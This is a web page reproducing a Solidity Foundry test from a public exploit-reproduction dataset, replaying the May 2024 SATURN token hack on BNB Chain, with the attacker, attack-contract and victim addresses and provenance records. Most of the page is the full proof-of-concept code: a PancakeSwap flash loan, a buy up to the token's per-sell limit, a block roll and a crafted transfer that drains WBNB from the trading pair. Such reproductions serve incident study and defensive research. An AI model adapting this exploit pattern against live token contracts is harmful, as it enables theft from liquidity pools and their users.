Public reproduction file
src/test/2024-05/SATURN_exp.sol
Public reproduction file for dataset entry SATURN.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~15 BNB8// Attacker : 0xc468D9A3a5557BfF457586438c130E3AFbeC2ff99// Attack Contract : 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC10// Vulnerable Contract : 0x9BDF251435cBC6774c7796632e9C80B233055b9311// Attack Tx : https://bscscan.com/tx/0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb947531212// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x9BDF251435cBC6774c7796632e9C80B233055b93#code15contract ContractTest is Test {16 address public attacker = address(this);17 address public SATURN_creater = 0xc8Ce1ecDfb7be4c5a661DEb6C1664Ab98df3Cd62;18 address internal holderOfToken = 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC;20 Uni_Pair_V3 pancakeV3Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);21 IPancakePair pair_WBNB_SATURN = IPancakePair(0x49BA6c20D3e95374fc1b19D537884b5595AA6124);22 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));23 IERC20 constant SATURN = IERC20(0x9BDF251435cBC6774c7796632e9C80B233055b93);24 IERC20 constant BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);25 IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));27 uint256 flashAmt = 3300 ether;28 uint256 finalSaturnSellAmt = 228_832_951_945_080_091_523_153;30 modifier balanceLog() {31 emit log_named_decimal_uint("Attacker WBNB Balance Before exploit", WBNB.balanceOf(address(this)), 18);32 _;33 emit log_named_decimal_uint("Attacker WBNB Balance After exploit", WBNB.balanceOf(address(this)), 18);34 }36 function setUp() public {37 vm.createSelectFork("bsc", 38_488_209 - 1);38 vm.label(address(SATURN), "SATURN");39 vm.label(address(WBNB), "WBNB");40 vm.label(address(router), "PancakeSwap Router");41 vm.label(address(pair_WBNB_SATURN), "pair_WBNB_SATURN");42 vm.label(address(pancakeV3Pool), "pancakeV3Pool");43 }45 function approveAll() public {46 SATURN.approve(address(router), type(uint256).max);47 WBNB.approve(address(router), type(uint256).max);48 }50 function EnableSwitch(51 bool state52 ) internal {53 vm.prank(SATURN_creater);54 address(SATURN).call(abi.encodeWithSignature("setEnableSwitch(bool)", state));55 }57 function testExploit() public balanceLog {58 approveAll();59 // init saturn token61 EnableSwitch(false);63 vm.startPrank(holderOfToken);64 SATURN.transfer(attacker, SATURN.balanceOf(holderOfToken));65 vm.stopPrank();67 EnableSwitch(true);69 // start attack70 pancakeV3Pool.flash(attacker, 0, flashAmt, bytes(""));71 }73 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {74 // Get the everyTimeSellLimitAmount from the SATURN contract75 uint256 limit = getEveryTimeSellLimitAmount();77 // Get the current balance of SATURN in the pair_WBNB_SATURN pool78 uint256 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));80 // Define the swap paths81 address[] memory buyPath = getPath(address(WBNB), address(SATURN));82 address[] memory sellPath = getPath(address(SATURN), address(WBNB));84 // Calculate the amount of WBNB needed to swap for SATURN85 uint256[] memory amounts = router.getAmountsIn(amount - limit, buyPath);87 // Swap WBNB for SATURN and send the SATURN to the SATURN_creater88 swapExactTokensForTokens(amounts[0], buyPath);90 // Update the amount of SATURN in the pair_WBNB_SATURN pool91 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));93 // Move the block number forward by 194 vm.roll(block.number + 1);96 // Transfer a specific amount of SATURN to the pair_WBNB_SATURN pool97 SATURN.transfer(address(pair_WBNB_SATURN), finalSaturnSellAmt);99 // Get the current reserves of SATURN and WBNB in the pair_WBNB_SATURN pool100 (uint256 SATURN_reserve, uint256 WBNB_reserve,) = pair_WBNB_SATURN.getReserves();102 // Update the amount of SATURN in the pair_WBNB_SATURN pool103 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));105 // Calculate the amount of WBNB that will be received when swapping SATURN106 amounts = router.getAmountsOut(amount - SATURN_reserve, sellPath);108 // Perform the swap in the pair_WBNB_SATURN pool and send the WBNB to the attacker109 pair_WBNB_SATURN.swap(0, amounts[1], attacker, bytes(""));111 // Transfer WBNB to the pancakeV3Pool, including the fee112 WBNB.transfer(address(pancakeV3Pool), flashAmt + fee1);113 }115 function getEveryTimeSellLimitAmount() internal returns (uint256) {116 (, bytes memory result) = address(SATURN).call(abi.encodeWithSignature("everyTimeSellLimitAmount()"));117 return abi.decode(result, (uint256));118 }120 function swapExactTokensForTokens(uint256 amountIn, address[] memory path) internal {121 router.swapExactTokensForTokens(amountIn, 0, path, SATURN_creater, type(uint256).max);122 }124 function getPath(address token0, address token1) internal pure returns (address[] memory) {125 address[] memory path = new address[](2);126 path[0] = token0;127 path[1] = token1;128 return path;129 }131 fallback() external payable {}132}Analysis
Dataset entry
Public Foundry test for “SATURN” (2024-05-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
- src/test/2026-04/SaturnProtocol_exp.solSame protocol or name in the dataset · 211 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc468d9a3a5557bff457586438c130e3afbec2ff9
- Attack Contract
0xfcecdbc62dee7233e1c831d06653b5bea7845fcc
- Vulnerable Contract
0x9bdf251435cbc6774c7796632e9c80b233055b93
- Attack Tx
0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312
File record
- Name
- SATURN
- Path
- src/test/2024-05/SATURN_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 71beb7c4be5dcf5fbf22f684eeacaf1e419796c4
- Language
- Solidity
- Size
- 133 lines
- Date
- 2024-05-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/SATURN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 71beb7c4be5dcf5fbf22f684eeacaf1e419796c4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.